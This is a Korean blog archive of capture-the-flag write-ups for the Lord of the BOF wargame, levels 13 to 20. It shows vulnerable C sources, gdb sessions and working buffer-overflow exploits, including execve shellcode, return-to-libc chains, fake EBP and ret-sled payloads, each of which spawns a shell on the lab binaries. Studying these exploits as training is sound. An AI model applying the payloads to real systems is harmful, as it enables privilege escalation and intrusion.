'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글
(LOB)level20.xavius (0) | 2014.09.02 |
---|---|
(LOB)level19.nightmare (0) | 2014.08.27 |
(LOB)level18.succubus (0) | 2014.08.25 |
(LOB)level17.zombie_assassin (0) | 2014.08.25 |
(LOB)level16.assassin (0) | 2014.08.25 |
(LOB)level20.xavius (0) | 2014.09.02 |
---|---|
(LOB)level19.nightmare (0) | 2014.08.27 |
(LOB)level18.succubus (0) | 2014.08.25 |
(LOB)level17.zombie_assassin (0) | 2014.08.25 |
(LOB)level16.assassin (0) | 2014.08.25 |
5일정도 걸렷네요 쓸데없는거 잘못건드리는바람에..
여튼 드디어 풀엇습니다
[xavius@localhost xavius]$ cat death_knight.c
/*
The Lord of the BOF : The Fellowship of the BOF
- dark knight
- remote BOF
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <dumpcode.h>
main()
{
char buffer[40];
int server_fd, client_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size;
if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("socket");
exit(1);
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(6666);
server_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(server_addr.sin_zero), 8);
if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
perror("bind");
exit(1);
}
if(listen(server_fd, 10) == -1){
perror("listen");
exit(1);
}
while(1) {
sin_size = sizeof(struct sockaddr_in);
if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
perror("accept");
continue;
}
if (!fork()){
send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
send(client_fd, "You : ", 6, 0);
recv(client_fd, buffer, 256, 0);
close(client_fd);
break;
}
close(client_fd);
while(waitpid(-1,NULL,WNOHANG) > 0);
}
close(server_fd);
}
<LOB>完 (0) | 2014.09.03 |
---|---|
(LOB)level19.nightmare (0) | 2014.08.27 |
(LOB)level18.succubus (0) | 2014.08.25 |
(LOB)level17.zombie_assassin (0) | 2014.08.25 |
(LOB)level16.assassin (0) | 2014.08.25 |
[nightmare@localhost nightmare]$ cat xavius.c
/*
The Lord of the BOF : The Fellowship of the BOF
- xavius
- arg
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
main()
{
char buffer[40];
char *ret_addr;
// overflow!
fgets(buffer, 256, stdin);
printf("%s\n", buffer);
if(*(buffer+47) == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(*(buffer+47) == '\x08')
{
printf("binary image retbayed you, too!!\n");
exit(0);
}
// check if the ret_addr is library function or not
memcpy(&ret_addr, buffer+44, 4);
while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function
{
if(*ret_addr == '\xc9'){ // leave
if(*(ret_addr+1) == '\xc3'){ // ret
printf("You cannot use library function!\n");
exit(0);
}
}
ret_addr++;
}
// stack destroyer
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
소스를 보고 뭘 어떻게해야하지 생각했는데 fgets에 뭔가 있겟다 싶어서 strace로 syscall을 추적해보았다
<c.f) strace >
http://www.joinc.co.kr/modules/moniwiki/wiki.php/man/1/strace
[nightmare@localhost /tmp]$ strace ./xavius
execve("./xavius", ["./xavius"], [/* 24 vars */]) = 0
brk(0) = 0x8049a58
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40014000
open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=12210, ...}) = 0
old_mmap(NULL, 12210, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000
close(3) = 0
open("/lib/libc.so.6", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 4096
old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40018000
mprotect(0x40105000, 30812, PROT_NONE) = 0
old_mmap(0x40105000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0xec000) = 0x40105000
old_mmap(0x40109000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40109000
close(3) = 0
mprotect(0x40018000, 970752, PROT_READ|PROT_WRITE) = 0
mprotect(0x40018000, 970752, PROT_READ|PROT_EXEC) = 0
munmap(0x40015000, 12210) = 0
personality(PER_LINUX) = 0
getpid() = 762
fstat64(0, 0xbffff964) = -1 ENOSYS (Function not implemented)
fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000
ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
read(0,
"\n", 1024) = 1
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40016000
ioctl(1, TCGETS, {B9600 opost isig icanon echo ...}) = 0
write(1, "\n", 1
) = 1
write(1, "\n", 1
) = 1
munmap(0x40016000, 4096) = 0
_exit(-1073746168) = ?
[nightmare@localhost /tmp]$
0x40015000에서 뭔가하는걸 알수 있엇다 풀고나서 찾아보니까 fgets가 사용하는 특수 버퍼라 한다 ..
[payload]
\x90 [10] | shellcode[24] | \x90[10 ] | RET(0x4001501) |
+)\x00이 들어가면 null 로 인식하기 때문에 NOP로 감싸주고 \x01로 넣어주었다
[attack]
[nightmare@localhost nightmare]$ (python -c 'print "\x90"*10 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*10+"\x01\x50\x01\x40"';cat) | ./xavius
??????????1픐h//shh/bin??S??
것??????????P@
my-pass
euid = 519
throw me away
성공
<LOB>完 (0) | 2014.09.03 |
---|---|
(LOB)level20.xavius (0) | 2014.09.02 |
(LOB)level18.succubus (0) | 2014.08.25 |
(LOB)level17.zombie_assassin (0) | 2014.08.25 |
(LOB)level16.assassin (0) | 2014.08.25 |
상대적으로 금방풀었네요
[succubus@localhost succubus]$ cat nightmare.c
/*
The Lord of the BOF : The Fellowship of the BOF
- nightmare
- PLT
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// check address
addr = (char *)&strcpy;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with strcpy()\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// dangerous waterfall
memset(buffer+40+8, 'A', 4);
}
소스에서 ret에 strcpy@plt 를 넣는거로 봐서 rtl로 접근해야겟다 생각했습니다
[payload]
argv[1]
buf40 |SFP | &strcpy@plt | dummy | dest(buf48) |source(argv[2])
argv[2]
&system | &exit |&/bin/sh
+)&system &exit &/bin/sh &strcpy@plt 구하는건 누구나 다 할수 있으므로 생략
[succubus@localhost succubus]$ ./nightmare `perl -e 'print "a"x44,"\x10\x84\x04\x08","AAAA","\xa0\xfa\xff\xbf","\x32\xfc\xff\xbf"'` `perl -e 'print "\xe0\x8a\x05\x40","\xe0\x91\x03\x40","\xf9\xbf\x0f\x40"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?AAAA????
bash$ my-pass
euid = 518
beg for me
&buffer +48 이랑 &argv[2] 구하는데 소스를 추가해서 구햇는데 한가지 의문이남는 부분이 있습니다
---------------------------------------------------------------------------------------------------
ex1)
[succubus@localhost /tmp]$ cat nightmare.c
/*
The Lord of the BOF : The Fellowship of the BOF
- nightmare
- PLT
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// check address
addr = (char *)&strcpy;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with strcpy()\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// dangerous waterfall
memset(buffer+40+8, 'A', 4);
printf("buffer Using : %x\n",buffer);
printf("argv[2] Using : %x\n",argv[2]);
}
[succubus@localhost /tmp]$ ./nightmare `perl -e 'print "\x90"x44,"\x10\x84\x04\x08","aaaa","bbbb","cccc"'` `perl -e 'print "\xe0\x8a\x05\x40","\xe0\x91\x03\x40","\xf9\xbf\x0f\x40"'`
?????????????????????????????????????????????aaaabbbbcccc
buffer Using : bffffa70
Segmentation fault (core dumped)
(LOB)level20.xavius (0) | 2014.09.02 |
---|---|
(LOB)level19.nightmare (0) | 2014.08.27 |
(LOB)level17.zombie_assassin (0) | 2014.08.25 |
(LOB)level16.assassin (0) | 2014.08.25 |
(LOB)level15.giant (0) | 2014.08.22 |
[zombie_assassin@localhost zombie_assassin]$ cat succubus.c
/*
The Lord of the BOF : The Fellowship of the BOF
- succubus
- calling functions continuously
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
// the inspector
int check = 0;
void MO(char *cmd)
{
if(check != 4)
exit(0);
printf("welcome to the MO!\n");
// olleh!
system(cmd);
}
void YUT(void)
{
if(check != 3)
exit(0);
printf("welcome to the YUT!\n");
check = 4;
}
void GUL(void)
{
if(check != 2)
exit(0);
printf("welcome to the GUL!\n");
check = 3;
}
void GYE(void)
{
if(check != 1)
exit(0);
printf("welcome to the GYE!\n");
check = 2;
}
void DO(void)
{
printf("welcome to the DO!\n");
check = 1;
}
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// you cannot use library
if(strchr(argv[1], '\x40')){
printf("You cannot use library\n");
exit(0);
}
// check address
addr = (char *)&DO;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with DO\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer
// 100 : extra space for copied argv[1]
memset(buffer, 0, 44);
memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
소스가 굉장히 깁니다 .. 이번 문제는 어렵다 라기보다는 상대적으로 노가다성을 요구하는 문제엿습니다
마찬가지로 라이브러리를 사용할수 없고, buf , buf +48+100 을 memset 해버립니다
자세한 내용은 생략하고, DO GYE GUL YUT MO 순서대로 지역변수를 콜해줘야 하는상황입니다( check 변수가 걸려있죠?)
따라서 함수 주소들을 구해주고
(gdb) p DO
$1 = {<text variable, no debug info>} 0x80487ec <DO>
(gdb) p GYE
$2 = {<text variable, no debug info>} 0x80487bc <GYE>
(gdb) p GUL
$3 = {<text variable, no debug info>} 0x804878c <GUL>
(gdb) p YUT
$4 = {<text variable, no debug info>} 0x804875c <YUT>
(gdb) p MO
$5 = {<text variable, no debug info>} 0x8048724 <MO>
(gdb)
[payload]
BUF|SFP | &DO| &GYE|& GUL| &YUT |&MO |&AAAA |&/bin/sh| /bin/sh
[attack]
[zombie_assassin@localhost zombie_assassin]$ ./succubus $(python -c 'print "a"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"aaaa"+"\x98\xfa\xff\xbf/bin/sh"')
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?펶??\?$?aaaa???bin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ my-pass
euid = 517
here to stay
bash$
성공
(LOB)level19.nightmare (0) | 2014.08.27 |
---|---|
(LOB)level18.succubus (0) | 2014.08.25 |
(LOB)level16.assassin (0) | 2014.08.25 |
(LOB)level15.giant (0) | 2014.08.22 |
(LOB)level14.bugbear (0) | 2014.08.20 |
장시간의 삽질의 끝에 드디어 풀엇습니다
분명 페이로드 구성은 제대로 햇는데 자꾸 illegal instruction이 떠가지고 엄청 고생햇네요 ㅠㅠ
[assassin@localhost assassin]$ cat zombie_assassin.c
/*
The Lord of the BOF : The Fellowship of the BOF
- zombie_assassin
- FEBP
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
// strncpy instead of strcpy!
strncpy(buffer, argv[1], 48);
printf("%s\n", buffer);
}
버퍼도 못쓰고 라이브러리도 못씁니다
흰트에는 FEBP라고 써져있엇고, 찾아보니 fake ebp 라는 기법이네요
fake ebp 란, leave(mov esp,ebp | pop ebp)를 ret 에 덮어씌우는 기법입니다.
그림으로 설명하고 싶지만 생략하고, 에필로그의 leave가 수행되면 esp에 ebp가 넣어지고 스택에서 ebp가 뽑히게됩니다
그다음 ret가 실행될때 pop eip 되니까 여기선 leave 주소를 넣어놧기 때문에 다시 leave로 돌아오게 되죠
그다음 leave (우리가 ret에 넣은)의 mov esp, ebp | pop ebp를 수행하면서 명령어 leave 수행시 buf +4값이 esp로 옮겨지게 됩니다.
[payload]
AAAA | &system | BBBB| &/bin/sh | \x90[24] | &buf | &leave
+)&buf 주소때매 개고생했는데 최종적으로 알아낸 방법은 소스를 추가하여 알아냄
+)&system, &/bin/sh, &leave 는 쉽게 구할수 있으므로생략
[공격]
[assassin@localhost assassin]$ ./zombie_assassin "`perl -e 'print "AAAA","\xe0\x8a\x05\x40","BBBB","\xf9\xbf\x0f\x40","\x90"x24,"\x02\xfc\xff\xbf","\xdf\x84\x04\x08"'`"
AAAA?@BBBB廈@?????????????????????????욀?
bash$ my-pass
euid = 516
no place to hide
bash$
(LOB)level18.succubus (0) | 2014.08.25 |
---|---|
(LOB)level17.zombie_assassin (0) | 2014.08.25 |
(LOB)level15.giant (0) | 2014.08.22 |
(LOB)level14.bugbear (0) | 2014.08.20 |
(LOB)level13.darkknight (0) | 2014.08.19 |
[giant@localhost giant]$ cat assassin.c
/*
The Lord of the BOF : The Fellowship of the BOF
- assassin
- no stack, no RTL
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer+sfp hunter
memset(buffer, 0, 44);
}
이번 문제는 ret 부분에 \x40 이나 \xbf 가들어가면 커맨드가 씹히게 됩니다.
그말은 즉슨,, 버퍼사용 못한다는 말이고, 라이브러리를 사용하지 못한다는 거겟죠..
이번 문제에서 사용한 기법은 'ret sled' 입니다.
ret sled 란 ret 부분(pop eip)에 ret 주소를 한번 더 넣어줌으로써,
eip가 pop 되기도 하지만, esp도 4 늘어난다는 의미이기 때문에, 다음 명령을 가르키게 됩니다
따라서 다음부분부터는 RTL 처럼 &System | &exit | &/bin/sh | 을 넣어주게 된다면, 이번 문제는 풀리게 됩니다 .
[giant@localhost giant]$ cp assassin /tmp/assassin
[giant@localhost giant]$ cd /tmp
[giant@localhost /tmp]$ gdb -q assassin
(gdb) b main
Breakpoint 1 at 0x8048476
(gdb) r
Starting program: /tmp/assassin
Breakpoint 1, 0x8048476 in main ()
(gdb)
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) p exit
$2 = {void (int)} 0x400391e0 <exit>
(gdb)
0x804851e <main+174>: ret
[giant@localhost /tmp]$ ./sh
/bin/sh is at 0x400fbff9
[페이로드]
|NOP [44] | &RET | &system | &exit |&/bin/sh|
공격
[giant@localhost giant]$ ./assassin $(perl -e 'print "\x90"x44,"\x1e\x85\x04\x08","\xe0\x8a\x05\x40","\xe0\x91\x03\x40","\xf9\xbf\x0f\x40"')
??????????????????????????????????????????????@?@廈@
bash$ my-pass
euid = 515
pushing me away
bash$
쉘이 따입니다
(LOB)level17.zombie_assassin (0) | 2014.08.25 |
---|---|
(LOB)level16.assassin (0) | 2014.08.25 |
(LOB)level14.bugbear (0) | 2014.08.20 |
(LOB)level13.darkknight (0) | 2014.08.19 |
(LOB)level12.golem (0) | 2014.08.19 |
소스를 보면
[bugbear@localhost bugbear]$ cat giant.c
/*
The Lord of the BOF : The Fellowship of the BOF
- giant
- RTL2
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(int argc, char *argv[])
{
char buffer[40];
FILE *fp;
char *lib_addr, *execve_offset, *execve_addr;
char *ret;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// gain address of execve
fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "(%x)", &lib_addr);
fclose(fp);
fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "%x", &execve_offset);
fclose(fp);
execve_addr = lib_addr + (int)execve_offset;
// end
memcpy(&ret, &(argv[1][44]), 4);
if(ret != execve_addr)
{
printf("You must use execve!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
execv() 함수를 사용해야합니다
이 소스에 사용된 함수들의 프로토타입들은 각각 다음과 같습니다
<<execve() 프로토타입>>
#include
int execve (const char *filename, char *const argv [], char *const envp[]);
lename이 가리키는 파일을 실행한다. filename은 바이너리 실행 파일이거나 #! interpreter [arg]와 같은 라인으로 시작하는 스크립트 파일이어야 한다.
후자의 경우, interpreter는 interpreter [arg] filename와 같은 형태로 수행이 가능한 (스크립트가 아닌) 바이너리 실행 파일이어야 한다.
argv는 새로이 실행할 프로그램에 전달하는 인수 문자열의 배열이다.
envp는 보통 key=value과 같은 형태의 문자열 배열이며 환경 변수를 설정해놓은 것처럼 전달된다.
argv와 envp는 모두 NULL 포인터로 끝나야만 한다. 실행할 프로그램을 int main(int argc, char *argv[], char *envp[])와 같이 정의하면 인수 문자열 배열과 환경 변수를 main () 함수에서 사용할 수 있게 된다.
<<popen() 프로토타입>>
#include <stdio.h>
FILE *popen(const char *command, const char *type);
int pclose();
popen 은 command 를 shell(:12)을 가동시켜서 열고 pipe(2)로 연결한다.
pipe 는 기본적으로 단방향으로만 정의 되어 있음으로, 읽기전용 혹은 쓰기전용 으로만 열수 있으며, type 로 정의된다.
popen 은 command 를 실행시키고 pip 연결을 위해서 내부적으로 fork() 와 pipe() 를 사용한다.
command 는 실행쉘인 /bin/sh 에 -c 옵션을 사용하여서 전달되게 된다.
pclose(2) 함수는 종료되는 관련 프로세스를 기다리며 wait(2) 가 반환하는 것처럼 명령어의 종료 상태를 반환한다.
>popen 함수는 메모리 할당이 실패한다면, errno 를 설정하지 않는다. fork()나 pipe()에서 실패했을경우 적당한 errno 를 설정한다.
pclose()는 자식의 상태를 얻을수 없을경우 errno 를 ECHILD 로 설정한다.
<<sscanf() 프로토 타입>>
#include <stdio.h> // C++ 에서는 <cstdio>
int sscanf ( const char * str, const char * format, ...);
str 에서 데이터를 형식 문자열(format)에서 지정하는 바에 따라 읽어와 그 데이터를 뒤에 부수적인 인자들이 가리키는 메모리 공간에 저장하게 된다.
이 때, 데이터가 저장되는 방식 역시 형식 문자열에 의해 결정된다
&system, &execve, &exit 을 각각 구해주고
[bugbear@localhost bugbear]$ cp giant /tmp/giant
[bugbear@localhost bugbear]$ cd /tmp
[bugbear@localhost /tmp]$ gdb -q giant
(gdb) b main
Breakpoint 1 at 0x8048566
(gdb) r
Starting program: /tmp/giant
(gdb) p exit
$1 = {void (int)} 0x400391e0 <exit>
(gdb) p system
$2 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) p execve
$3 = {<text variable, no debug info>} 0x400a9d48 <__execve>
그리고 나서 &/bin/sh 을 구해줍니다
#include <stdio.h>
#include <memory.h>
int main(void)
{
long shell;
shell = 0x40058ae0;
while( memcmp( (void *)shell, "/bin/sh", 8) )
shell++;
printf("%s is at %p\n", shell, shell);
return 0;
}
[bugbear@localhost /tmp]$ gcc -o s s.c
[bugbear@localhost /tmp]$ ./s
/bin/sh is at 0x400fbff9
execve에서 필요한건 이제 널주소와 /bin/sh이 들어간 부분의 주소입니다 이부분을 찾아주는데서
조금 애를 먹엇습니다
+)
[bugbear@localhost bugbear]$ ldd /home/bugbear/giant | grep libc | awk '{print $4}'
(0x40018000)
[bugbear@localhost bugbear]$ /usr/bin/nm /lib/libc.so.6|grep execve
000f4860 ? __evoke_link_warning_fexecve
00091d48 t __execve
00091d48 W execve
00091da0 T fexecve
sum : 400a9d48
~>똑같음
~> 디버깅해서 나오는 execve주소와 소스에서 나오는 대로 두인자를 구해서 더해보면 서로 같다라는것을 알수 있습니다 (라이브러리주소는 모두 같기 때문이죠)
중간 정리를 해보면 ,
[페이로드]
/bin/sh 심볼릭링크 | NOP 44 | &execve() | &exit() | &/bin/sh |&/bin/sh의 포인터|&NULL
$3 = {<text variable, no debug info>} 0x400a9d48 <__execve>
$1 = {void (int)} 0x400391e0 <exit>
&/bin/sh : 0x400fbff9
&NULL : 0xbffffffc (스택의 끝부분엔 항상 널이들어가게되서 그부분에서 따왓습니다)
이제 &/bin/sh의 포인터 하나만 더구해주면 됩니다.
execve에서 필요한게 /bin/sh의 포인터주소이기 때문에, 이를 구해주기 위해서 argv[0] 부분에 &/bin/sh을 심
볼릭링크 걸어주고 디버깅하여 구합니다
(gdb) x/10s 0xbfffffe0
0xbfffffe0: "bear/bin"
0xbfffffe9: "/home/bugbear/ù¿\017@"
0xbffffffc: ""
0xbffffffd: ""
0xbffffffe: ""
0xbfffffff: ""
0xc0000000: <Address 0xc0000000 out of bounds>
0xc0000000: <Address 0xc0000000 out of bounds>
0xc0000000: <Address 0xc0000000 out of bounds>
0xc0000000: <Address 0xc0000000 out of bounds>
굵은 부분으로 표시한부분으로 나오긴햇습니다만 이부분이 절대경로 라서 사용을 할수가없습니다
따라서 다시계산해줍니다
(gdb) print/x 0xbfffffe9+strlen("/home/bugbear/")
$1 = 0xbffffff7
이제 다 구햇네요 페이로드를 재작성해보면
[페이로드]
/bin/sh 심볼릭링크 | NOP 44 | &execve() | &exit() | &/bin/sh |&/bin/sh의 포인터|&NULL
$3 = {<text variable, no debug info>} 0x400a9d48 <__execve>
$1 = {void (int)} 0x400391e0 <exit>
&/bin/sh : 0x400fbff9
&/bin/sh의 포인터 : $1 = 0xbffffff7
&NULL : 0xbffffffc (스택의 끝부분엔 항상 널이들어가게되서 그부분에서 따왓습니다)
[bugbear@localhost bugbear]$ `python -c 'print "./"+"\xf9\xbf\x0f\x40"'` "`perl -e 'print "\x90"x44,"\x48\x9d\x0a\x40","\xe0\x91\x03\x40","\xf9\xbf\x0f\x40","\xf7\xff\xff\xbf","\xfc\xff\xff\xbf"'`"
H
@à@ù¿@÷ÿÿ¿üÿÿ¿
bash$ my-pass
euid = 514
one step closer
bash$
쉘이 따엿습니다
+) 커맨드 파이썬으로 바꾸겟다고 맘먹고도 자꾸 펄써가지고 ㅡㅡ ;미치겟네요 언젠간 완벽하게 바뀌겟지요..
(LOB)level16.assassin (0) | 2014.08.25 |
---|---|
(LOB)level15.giant (0) | 2014.08.22 |
(LOB)level13.darkknight (0) | 2014.08.19 |
(LOB)level12.golem (0) | 2014.08.19 |
(LOB)Level11.skeleton (0) | 2014.08.16 |
RTL을 미리 공부해둔 상태여서 3분만에 풀엇습니다 ㅋㅋ
소스부터 보면
[darkknight@localhost darkknight]$ cat bugbear.c
/*
The Lord of the BOF : The Fellowship of the BOF
- bugbear
- RTL1
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack betrayed you!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
굵은 부분으로 표시해둔 부분처럼 RET의 앞주소가 bf이면 안되므로
그말은 즉슨, 스택안에 쉘코드를 넣어준다면 씹히게 됩니다.
위에서 주어진 흰트도 그렇고 지금의 상황도 그러하여 RTL 기법을 사용하였습니다
우선 system 주소와 exit 주소가 필요하므로 디버깅하여 찾아내면
[darkknight@localhost /tmp]$ gdb -q bugbear
(gdb) b main
Breakpoint 1 at 0x8048436
(gdb) r
Starting program: /tmp/bugbear
Breakpoint 1, 0x8048436 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) p exit
$2 = {void (int)} 0x400391e0 <exit>
(gdb)
이렇게되고, /bin/sh 주소를 찾아야하므로 소스를 짜서 넣어주면
[darkknight@localhost /tmp]$ cat give.c
#include <stdio.h>
#include <memory.h>
int main(void)
{
long shell;
shell = 0x40058ae0;
while( memcmp( (void *)shell, "/bin/sh", 8) )
shell++;
printf("%s is at %p\n", shell, shell);
return 0;
}
[darkknight@localhost /tmp]$ ./give
/bin/sh is at 0x400fbff9
구할건 다구햇으므로 페이로드를 작성하고 커맨드를 날려주면
| buf | SFP | &system | &exit | &/bin/sh|
[darkknight@localhost darkknight]$ ./bugbear `perl -e 'print "\x90"x44,"\xe0\x8a\x05\x40","\xe0\x91\x03\x40","\xf9\xbf\x0f\x40"'`
?????????????????????????????????????????????@?@廈@
bash$ my-pass
euid = 513
new divide
bash$
쉘이 따엿습니다
(LOB)level15.giant (0) | 2014.08.22 |
---|---|
(LOB)level14.bugbear (0) | 2014.08.20 |
(LOB)level12.golem (0) | 2014.08.19 |
(LOB)Level11.skeleton (0) | 2014.08.16 |
(LOB)Level10.vampire (0) | 2014.08.14 |
FPO에 관해서 공부를해야해서 문서를 쓰면서 공부를햇는데 아직 완벽하게 이해를 하지못해서 조금더 공부하고 다음레벨로 넘어가야 할것 같습니다 이번 레벨도 문서로 대체하도록 하겟습니다
Understading Fake EBP & FPO.pdf
+)FAKE EBP 부분은 나중에 이문제가 나온다그래서 그때 풀면서 추가로 수정할 예정입니다.
(LOB)level14.bugbear (0) | 2014.08.20 |
---|---|
(LOB)level13.darkknight (0) | 2014.08.19 |
(LOB)Level11.skeleton (0) | 2014.08.16 |
(LOB)Level10.vampire (0) | 2014.08.14 |
(LOB)Level9.troll (0) | 2014.08.14 |